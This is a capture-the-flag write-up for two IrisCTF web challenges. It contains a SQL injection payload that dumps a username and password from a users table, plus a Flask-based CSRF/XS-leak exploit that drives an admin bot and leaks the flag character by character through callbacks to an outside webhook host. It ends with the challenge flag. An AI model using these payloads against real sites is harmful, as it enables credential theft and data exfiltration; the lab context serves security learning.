0%

IrisCTF

What’s My Password

sql injection

1
{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}

LameNote

1
2
3
4
5
6
7
8
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.

lamenote.tar.gz

lamenote-adminbot.tar.gz

maybe https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks

trying…

there is always response 200, so seems like not this

Got idea: In our resourse need make bot to create a new note with content irisctf{a and with img url to any webhook, then in iframe open the /search?query=irisctf{a

  • if there is only our note matches then server will open our note and request to our webhook
  • if there is more than 1 note with “irisctf{a” then response will be just urls of notes, no request to webhook, so we can extract the symbol of flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, make_response, request

from flask_cors import CORS

app = Flask(__name__)
CORS(app)
callbacks = []
temp = """
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<iframe name="test" style="display:none;"></iframe>
<iframe name="test2" style="display:none;"></iframe>
<form action="<https://lamenote-web.chal.irisc.tf/create>" method="POST" target="test">
<input type="hidden" name="title" value="Flag" />
<input type="hidden" name="text" value="irisctf&#123;{}" />
<input type="hidden" name="image" value="https&#58;&#47;&#47;edu&#46;ghost1032&#46;top/callback&#63;callback&#61;{}&index={}" />
<input type="submit" value="Submit request" />
</form>

<form action="<https://lamenote-web.chal.irisc.tf/search>" method="GET" target="test2">
<input type="hidden" name="query" value="irisctf&#123;{}"/>
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
document.forms[1].submit();
</script>
</body>
</html>

"""
@app.route('/leak/<i>/<string>')
def index(i,string):
return make_response(temp.format(string, string, i , string))

@app.route('/callback')
def cb():
cb = request.args.get('callback')
index = int(request.args.get('index'))
if len(callbacks) <= index:
callbacks.append({})
if cb in callbacks[index]:
callbacks[index][cb] += 1
else:
callbacks[index][cb] = 1
print(callbacks)
return make_response('')

@app.route('/result')
def result():
index = int(request.args.get('index'))
if index >= len(callbacks):
return make_response('Nope')
return make_response(str(callbacks[index]))

app.run(debug=True, port=48080)

example:

echo “https://edu.ghost1032.top/leak/0/pz“ | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 would have 2 callback requests

while

echo “https://edu.ghost1032.top/leak/0/pl“ | nc -q 0 lamenote-adminbot.chal.irisc.tf 10300 only has 1 callback request.

You should try a couple of times for every char, since Sorry if the timeout is a bit broken on this challenge

And that’s why I don’t have a working full-automatic exp :(

Maybe we can solve the issue by making multiple tries for every char.

I made some exploit, trying now …

1
irisctf{please_no_more_unintended_bugs}